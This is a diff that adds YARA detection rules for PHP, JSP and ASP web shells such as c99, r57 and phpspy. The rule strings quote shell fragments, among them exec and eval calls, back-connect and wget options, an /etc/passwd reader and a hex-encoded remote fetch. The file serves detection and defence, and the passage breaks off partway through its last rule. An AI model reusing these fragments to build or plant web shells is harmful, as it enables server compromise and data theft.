+rule webshell_itsec_PHPJackal_itsecteam_shell_jHn {
+	meta:
+		description = "Web Shell - from files itsec.php, PHPJackal.php, itsecteam_shell.php, jHn.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "8ae9d2b50dc382f0571cd7492f079836"
+		hash1 = "e2830d3286001d1455479849aacbbb38"
+		hash2 = "bd6d3b2763c705a01cc2b3f105a25fa4"
+		hash3 = "40c6ecf77253e805ace85f119fe1cebb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$link=pg_connect(\"host=$host dbname=$db user=$user password=$pass\");" fullword
+		$s6 = "while($data=ocifetchinto($stm,$data,OCI_ASSOC+OCI_RETURN_NULLS))$res.=implode('|"
+		$s9 = "while($data=pg_fetch_row($result))$res.=implode('|-|-|-|-|-|',$data).'|+|+|+|+|+"
+	condition:
+		2 of them
+}
+rule webshell_Shell_ci_Biz_was_here_c100_v_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "f2fa878de03732fbf5c86d656467ff50"
+		hash1 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "if ($data{0} == \"\\x99\" and $data{1} == \"\\x01\") {return \"Error: \".$stri"
+		$s3 = "<OPTION VALUE=\"find /etc/ -type f -perm -o+w 2> /dev/null\""
+		$s4 = "<OPTION VALUE=\"cat /proc/version /proc/cpuinfo\">CPUINFO" fullword
+		$s7 = "<OPTION VALUE=\"wget http://ftp.powernet.com.tr/supermail/de"
+		$s9 = "<OPTION VALUE=\"cut -d: -f1,2,3 /etc/passwd | grep ::\">USER"
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_NIX_REMOTE_WEB_xxx1 {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "f3ca29b7999643507081caab926e2e74"
+		hash2 = "527cf81f9272919bf872007e21c4bdda"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<td><input size=\"48\" value=\"$docr/\" name=\"path\" type=\"text\"><input type="
+		$s2 = "$uploadfile = $_POST['path'].$_FILES['file']['name'];" fullword
+		$s6 = "elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];}" fullword
+		$s7 = "if ($_POST['path']==\"\"){$uploadfile = $_FILES['file']['name'];}" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_w4cking_Shell_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "9c34adbc8fd8d908cbb341734830f971"
+		hash3 = "f2fa878de03732fbf5c86d656467ff50"
+		hash4 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash5 = "27786d1e0b1046a1a7f67ee41c64bf4c"
+		hash6 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash7 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash8 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash9 = "048ccc01b873b40d57ce25a4c56ea717"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s0 = "echo \"<b>HEXDUMP:</b><nobr>"
+		$s4 = "if ($filestealth) {$stat = stat($d.$f);}" fullword
+		$s5 = "while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo \"<tr><td>\".$r"
+		$s6 = "if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo \"DB "
+		$s8 = "echo \"<center><b>Server-status variables:</b><br><br>\";" fullword
+		$s9 = "echo \"<textarea cols=80 rows=10>\".htmlspecialchars($encoded).\"</textarea>"
+	condition:
+		2 of them
+}
+rule webshell_2008_2009mssql_phpspy_2005_full_phpspy_2006_arabicspy_hkrkoz {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "3e4ba470d4c38765e4b16ed930facf2c"
+		hash1 = "aa17b71bb93c6789911bd1c9df834ff9"
+		hash2 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash3 = "40a1f840111996ff7200d18968e42cfe"
+		hash4 = "e0202adff532b28ef1ba206cf95962f2"
+		hash5 = "802f5cae46d394b297482fd0c27cb2fc"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s0 = "$this -> addFile($content, $filename);" fullword
+		$s3 = "function addFile($data, $name, $time = 0) {" fullword
+		$s8 = "function unix2DosTime($unixtime = 0) {" fullword
+		$s9 = "foreach($filelist as $filename){" fullword
+	condition:
+		all of them
+}
+rule webshell_c99_c66_c99_shadows_mod_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c66.php, c99-shadows-mod.php, c99shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "0f5b9238d281bc6ac13406bb24ac2a5b"
+		hash2 = "68c0629d08b1664f5bcce7d7f5f71d22"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s2 = "  if (unlink(_FILE_)) {@ob_clean(); echo \"Thanks for using c99shell v.\".$shv"
+		$s3 = "  \"c99sh_backconn.pl\"=>array(\"Using PERL\",\"perl %path %host %port\")," fullword
+		$s4 = "<br><TABLE style=\"BORDER-COLLAPSE: collapse\" cellSpacing=0 borderColorDark=#66"
+		$s7 = "   elseif (!$data = c99getsource($bind[\"src\"])) {echo \"Can't download sources"
+		$s8 = "  \"c99sh_datapipe.pl\"=>array(\"Using PERL\",\"perl %path %localport %remotehos"
+		$s9 = "   elseif (!$data = c99getsource($bc[\"src\"])) {echo \"Can't download sources!"
+	condition:
+		2 of them
+}
+rule webshell_he1p_JspSpy_nogfw_ok_style_1_JspSpy1 {
+	meta:
+		description = "Web Shell - from files he1p.jsp, JspSpy.jsp, nogfw.jsp, ok.jsp, style.jsp, 1.jsp, JspSpy.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash1 = "d71716df5042880ef84427acee8b121e"
+		hash2 = "344f9073576a066142b2023629539ebd"
+		hash3 = "32dea47d9c13f9000c4c807561341bee"
+		hash4 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash5 = "3ea688e3439a1f56b16694667938316d"
+		hash6 = "2434a7a07cb47ce25b41d30bc291cacc"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "\"\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>\"+" fullword
+		$s4 = "out.println(\"<h2>File Manager - Current disk &quot;\"+(cr.indexOf(\"/\") == 0?"
+		$s7 = "String execute = f.canExecute() ? \"checked=\\\"checked\\\"\" : \"\";" fullword
+		$s8 = "\"<td nowrap>\"+f.canRead()+\" / \"+f.canWrite()+\" / \"+f.canExecute()+\"</td>"
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_config_myxx_queryDong_spyjsp2010_zend {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, config.jsp, myxx.jsp, queryDong.jsp, spyjsp2010.jsp, zend.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash4 = "e0354099bee243702eb11df8d0e046df"
+		hash5 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash6 = "655722eaa6c646437c8ae93daac46ae0"
+		hash7 = "591ca89a25f06cf01e4345f98a22845c"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "return new Double(format.format(value)).doubleValue();" fullword
+		$s5 = "File tempF = new File(savePath);" fullword
+		$s9 = "if (tempF.isDirectory()) {" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_c99shell_c99_c99shell {
+	meta:
+		description = "Web Shell - from files c99.php, c99shell.php, c99.php, c99shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "61a92ce63369e2fa4919ef0ff7c51167"
+		hash1 = "d3f38a6dc54a73d304932d9227a739ec"
+		hash2 = "157b4ac3c7ba3a36e546e81e9279eab5"
+		hash3 = "048ccc01b873b40d57ce25a4c56ea717"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
+	strings:
+		$s2 = "$bindport_pass = \"c99\";" fullword
+		$s5 = " else {echo \"<b>Execution PHP-code</b>\"; if (empty($eval_txt)) {$eval_txt = tr"
+	condition:
+		1 of them
+}
+rule webshell_r57shell127_r57_iFX_r57_kartal_r57_antichat {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_iFX.php, r57_kartal.php, r57.php, antichat.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash2 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash3 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash4 = "3f71175985848ee46cc13282fbed2269"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s6 = "$res   = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $d"
+		$s7 = "$sql1 .= $row[1].\"\\r\\n\\r\\n\";" fullword
+		$s8 = "if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }" fullword
+		$s9 = "foreach($values as $k=>$v) {$values[$k] = addslashes($v);}" fullword
+	condition:
+		2 of them
+}
+rule webshell_NIX_REMOTE_WEB_SHELL_nstview_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "0b19e9de790cd2f4325f8c24b22af540"
+		hash1 = "4745d510fed4378e4b1730f56f25e569"
+		hash2 = "f3ca29b7999643507081caab926e2e74"
+		hash3 = "46a18979750fa458a04343cf58faa9bd"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "BODY, TD, TR {" fullword
+		$s5 = "$d=str_replace(\"\\\\\",\"/\",$d);" fullword
+		$s6 = "if ($file==\".\" || $file==\"..\") continue;" fullword
+	condition:
+		2 of them
+}
+rule webshell_000_403_807_a_c5_config_css_dm_he1p_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "ae76c77fb7a234380cd0ebb6fe1bcddf"
+		hash3 = "76037ebd781ad0eac363d56fc81f4b4f"
+		hash4 = "8b457934da3821ba58b06a113e0d53d9"
+		hash5 = "d44df8b1543b837e57cc8f25a0a68d92"
+		hash6 = "fc44f6b4387a2cb50e1a63c66a8cb81c"
+		hash7 = "14e9688c86b454ed48171a9d4f48ace8"
+		hash8 = "b330a6c2d49124ef0729539761d6ef0b"
+		hash9 = "d71716df5042880ef84427acee8b121e"
+		hash10 = "341298482cf90febebb8616426080d1d"
+		hash11 = "29aebe333d6332f0ebc2258def94d57e"
+		hash12 = "42654af68e5d4ea217e6ece5389eb302"
+		hash13 = "88fc87e7c58249a398efd5ceae636073"
+		hash14 = "4a812678308475c64132a9b56254edbc"
+		hash15 = "9626eef1a8b9b8d773a3b2af09306a10"
+		hash16 = "e0354099bee243702eb11df8d0e046df"
+		hash17 = "344f9073576a066142b2023629539ebd"
+		hash18 = "32dea47d9c13f9000c4c807561341bee"
+		hash19 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash20 = "655722eaa6c646437c8ae93daac46ae0"
+		hash21 = "b9744f6876919c46a29ea05b1d95b1c3"
+		hash22 = "6acc82544be056580c3a1caaa4999956"
+		hash23 = "6aa32a6392840e161a018f3907a86968"
+		hash24 = "591ca89a25f06cf01e4345f98a22845c"
+		hash25 = "349ec229e3f8eda0f9eb918c74a8bf4c"
+		hash26 = "3ea688e3439a1f56b16694667938316d"
+		hash27 = "ab77e4d1006259d7cbc15884416ca88c"
+		hash28 = "71097537a91fac6b01f46f66ee2d7749"
+		hash29 = "2434a7a07cb47ce25b41d30bc291cacc"
+		hash30 = "7a4b090619ecce6f7bd838fe5c58554b"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "String savePath = request.getParameter(\"savepath\");" fullword
+		$s4 = "URL downUrl = new URL(downFileUrl);" fullword
+		$s5 = "if (Util.isEmpty(downFileUrl) || Util.isEmpty(savePath))" fullword
+		$s6 = "String downFileUrl = request.getParameter(\"url\");" fullword
+		$s7 = "FileInputStream fInput = new FileInputStream(f);" fullword
+		$s8 = "URLConnection conn = downUrl.openConnection();" fullword
+		$s9 = "sis = request.getInputStream();" fullword
+	condition:
+		4 of them
+}
+rule webshell_2_520_icesword_job_ma1 {
+	meta:
+		description = "Web Shell - from files 2.jsp, 520.jsp, icesword.jsp, job.jsp, ma1.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "64a3bf9142b045b9062b204db39d4d57"
+		hash1 = "9abd397c6498c41967b4dd327cf8b55a"
+		hash2 = "077f4b1b6d705d223b6d644a4f3eebae"
+		hash3 = "56c005690da2558690c4aa305a31ad37"
+		hash4 = "532b93e02cddfbb548ce5938fe2f5559"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\"></head>" fullword
+		$s3 = "<input type=\"hidden\" name=\"_EVENTTARGET\" value=\"\" />" fullword
+		$s8 = "<input type=\"hidden\" name=\"_EVENTARGUMENT\" value=\"\" />" fullword
+	condition:
+		2 of them
+}
+rule webshell_404_data_in_JFolder_jfolder01_jsp_suiyue_warn {
+	meta:
+		description = "Web Shell - from files 404.jsp, data.jsp, in.jsp, JFolder.jsp, jfolder01.jsp, jsp.jsp, suiyue.jsp, warn.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "7066f4469c3ec20f4890535b5f299122"
+		hash1 = "9f54aa7b43797be9bab7d094f238b4ff"
+		hash2 = "793b3d0a740dbf355df3e6f68b8217a4"
+		hash3 = "8979594423b68489024447474d113894"
+		hash4 = "ec482fc969d182e5440521c913bab9bd"
+		hash5 = "f98d2b33cd777e160d1489afed96de39"
+		hash6 = "c93d5bdf5cf62fe22e299d0f2b865ea7"
+		hash7 = "e9a5280f77537e23da2545306f6a19ad"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<table width=\"100%\" border=\"1\" cellspacing=\"0\" cellpadding=\"5\" bordercol"
+		$s2 = " KB </td>" fullword
+		$s3 = "<table width=\"98%\" border=\"0\" cellspacing=\"0\" cellpadding=\""
+		$s4 = "<!-- <tr align=\"center\"> " fullword
+	condition:
+		all of them
+}
+
+rule webshell_phpspy_2005_full_phpspy_2005_lite_phpspy_2006_PHPSPY {
+	meta:
+		description = "Web Shell - from files phpspy_2005_full.php, phpspy_2005_lite.php, phpspy_2006.php, PHPSPY.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "b68bfafc6059fd26732fa07fb6f7f640"
+		hash1 = "42f211cec8032eb0881e87ebdb3d7224"
+		hash2 = "40a1f840111996ff7200d18968e42cfe"
+		hash3 = "0712e3dc262b4e1f98ed25760b206836"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
+	strings:
+		$s4 = "http://www.4ngel.net" fullword
+		$s5 = "</a> | <a href=\"?action=phpenv\">PHP" fullword
+		$s8 = "echo $msg=@fwrite($fp,$_POST['filecontent']) ? \"" fullword
+		$s9 = "Codz by Angel" fullword
+	condition:
+		2 of them
+}
+rule webshell_c99_locus7s_c99_w4cking_xxx {
+	meta:
+		description = "Web Shell"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "38fd7e45f9c11a37463c3ded1c76af4c"
+		hash1 = "9c34adbc8fd8d908cbb341734830f971"
+		hash2 = "ef43fef943e9df90ddb6257950b3538f"
+		hash3 = "ae025c886fbe7f9ed159f49593674832"
+		hash4 = "911195a9b7c010f61b66439d9048f400"
+		hash5 = "697dae78c040150daff7db751fc0c03c"
+		hash6 = "513b7be8bd0595c377283a7c87b44b2e"
+		hash7 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash8 = "e5b2131dd1db0dbdb43b53c5ce99016a"
+		hash9 = "4108f28a9792b50d95f95b9e5314fa1e"
+		hash10 = "b8f261a3cdf23398d573aaf55eaf63b5"
+		hash11 = "0d2c2c151ed839e6bafc7aa9c69be715"
+		hash12 = "41af6fd253648885c7ad2ed524e0692d"
+		hash13 = "6fcc283470465eed4870bcc3e2d7f14d"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "$res = @shell_exec($cfe);" fullword
+		$s8 = "$res = @ob_get_contents();" fullword
+		$s9 = "@exec($cfe,$res);" fullword
+	condition:
+		2 of them
+}
+rule webshell_browser_201_3_ma_ma2_download {
+	meta:
+		description = "Web Shell - from files browser.jsp, 201.jsp, 3.jsp, ma.jsp, ma2.jsp, download.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "37603e44ee6dc1c359feb68a0d566f76"
+		hash1 = "a7e25b8ac605753ed0c438db93f6c498"
+		hash2 = "fb8c6c3a69b93e5e7193036fd31a958d"
+		hash3 = "4cc68fa572e88b669bce606c7ace0ae9"
+		hash4 = "4b45715fa3fa5473640e17f49ef5513d"
+		hash5 = "fa87bbd7201021c1aefee6fcc5b8e25a"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "private static final int EDITFIELD_ROWS = 30;" fullword
+		$s2 = "private static String tempdir = \".\";" fullword
+		$s6 = "<input type=\"hidden\" name=\"dir\" value=\"<%=request.getAttribute(\"dir\")%>\""
+	condition:
+		2 of them
+}
+rule webshell_000_403_c5_queryDong_spyjsp2010 {
+	meta:
+		description = "Web Shell - from files 000.jsp, 403.jsp, c5.jsp, queryDong.jsp, spyjsp2010.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "2eeb8bf151221373ee3fd89d58ed4d38"
+		hash1 = "059058a27a7b0059e2c2f007ad4675ef"
+		hash2 = "8b457934da3821ba58b06a113e0d53d9"
+		hash3 = "90a5ba0c94199269ba33a58bc6a4ad99"
+		hash4 = "655722eaa6c646437c8ae93daac46ae0"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "\" <select name='encode' class='input'><option value=''>ANSI</option><option val"
+		$s7 = "JSession.setAttribute(\"MSG\",\"<span style='color:red'>Upload File Failed!</spa"
+		$s8 = "File f = new File(JSession.getAttribute(CURRENT_DIR)+\"/\"+fileBean.getFileName("
+		$s9 = "((Invoker)ins.get(\"vd\")).invoke(request,response,JSession);" fullword
+	condition:
+		2 of them
+}
+rule webshell_r57shell127_r57_kartal_r57 {
+	meta:
+		description = "Web Shell - from files r57shell127.php, r57_kartal.php, r57.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/01/28"
+		score = 70
+		super_rule = 1
+		hash0 = "ae025c886fbe7f9ed159f49593674832"
+		hash1 = "1d912c55b96e2efe8ca873d6040e3b30"
+		hash2 = "4108f28a9792b50d95f95b9e5314fa1e"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s2 = "$handle = @opendir($dir) or die(\"Can't open directory $dir\");" fullword
+		$s3 = "if(!empty($_POST['mysql_db'])) { @mssql_select_db($_POST['mysql_db'],$db); }" fullword
+		$s5 = "if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$name || $_"
+	condition:
+		2 of them
+}
+
+rule webshell_webshells_new_con2 {
+	meta:
+		description = "Web shells - generated from file con2.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "d3584159ab299d546bd77c9654932ae3"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s7 = ",htaPrewoP(ecalper=htaPrewoP:fI dnE:0=KOtidE:1 - eulaVtni = eulaVtni:nehT 1 => e"
+		$s10 = "j \"<Form action='\"&URL&\"?Action2=Post' method='post' name='EditForm'><input n"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_make2 {
+	meta:
+		description = "Web shells - generated from file make2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		hash = "9af195491101e0816a263c106e4c145e"
+		score = 50
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "error_reporting(0);session_start();header(\"Content-type:text/html;charset=utf-8"
+	condition:
+		all of them
+}
+rule webshell_webshells_new_aaa {
+	meta:
+		description = "Web shells - generated from file aaa.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "68483788ab171a155db5266310c852b2"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "Function fvm(jwv):If jwv=\"\"Then:fvm=jwv:Exit Function:End If:Dim tt,sru:tt=\""
+		$s5 = "<option value=\"\"DROP TABLE [jnc];exec mast\"&kvp&\"er..xp_regwrite 'HKEY_LOCAL"
+		$s17 = "if qpv=\"\" then qpv=\"x:\\Program Files\\MySQL\\MySQL Server 5.0\\my.ini\"&br&"
+	condition:
+		1 of them
+}
+rule webshell_Expdoor_com_ASP {
+	meta:
+		description = "Web shells - generated from file Expdoor.com ASP.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "caef01bb8906d909f24d1fa109ea18a7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "\">www.Expdoor.com</a>" fullword
+		$s5 = "    <input name=\"FileName\" type=\"text\" value=\"Asp_ver.Asp\" size=\"20\" max"
+		$s10 = "set file=fs.OpenTextFile(server.MapPath(FileName),8,True)  '" fullword
+		$s14 = "set fs=server.CreateObject(\"Scripting.FileSystemObject\")   '" fullword
+		$s16 = "<TITLE>Expdoor.com ASP" fullword
+	condition:
+		2 of them
+}
+rule webshell_webshells_new_php2 {
+	meta:
+		description = "Web shells - generated from file php2.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "fbf2e76e6f897f6f42b896c855069276"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<?php $s=@$_GET[2];if(md5($s.$s)=="
+	condition:
+		all of them
+}
+rule webshell_bypass_iisuser_p {
+	meta:
+		description = "Web shells - generated from file bypass-iisuser-p.asp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "924d294400a64fa888a79316fb3ccd90"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "<%Eval(Request(chr(112))):Set fso=CreateObject"
+	condition:
+		all of them
+}
+rule webshell_sig_404super {
+	meta:
+		description = "Web shells - generated from file 404super.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "7ed63176226f83d36dce47ce82507b28"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s4 = "$i = pack('c*', 0x70, 0x61, 99, 107);" fullword
+		$s6 = "    'h' => $i('H*', '687474703a2f2f626c616b696e2e64756170702e636f6d2f7631')," fullword
+		$s7 = "//http://require.duapp.com/session.php" fullword
+		$s8 = "if(!isset($_SESSION['t'])){$_SESSION['t'] = $GLOBALS['f']($GLOBALS['h']);}" fullword
+		$s12 = "//define('pass','123456');" fullword
+		$s13 = "$GLOBALS['c']($GLOBALS['e'](null, $GLOBALS['s']('%s',$GLOBALS['p']('H*',$_SESSIO"
+	condition:
+		1 of them
+}
+rule webshell_webshells_new_JSP {
+	meta:
+		description = "Web shells - generated from file JSP.jsp"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "495f1a0a4c82f986f4bdf51ae1898ee7"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i"
+		$s5 = "bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.app"
+		$s11 = "if(Z.equals(\"A\")){String s=new File(application.getRealPath(request.getRequest"
+	condition:
+		1 of them
+}
+rule webshell_webshell_123 {
+	meta:
+		description = "Web shells - generated from file webshell-123.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014-03-28"
+		modified = "2023-01-27"
+		score = 70
+		hash = "2782bb170acaed3829ea9a04f0ac7218"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "// Web Shell!!" fullword
+		$s1 = "@preg_replace(\"/.*/e\",\"\\x65\\x76\\x61\\x6C\\x28\\x67\\x7A\\x69\\x6E\\x66\\x6"
+		$s3 = "$default_charset = \"UTF-8\";" fullword
+		$s4 = "// url:http://www.weigongkai.com/shell/"
+	condition:
+		2 of them
+}
+rule webshell_dev_core {
+	meta:
+		description = "Web shells - generated from file dev_core.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2014/03/28"
+		score = 70
+		hash = "55ad9309b006884f660c41e53150fc2e"
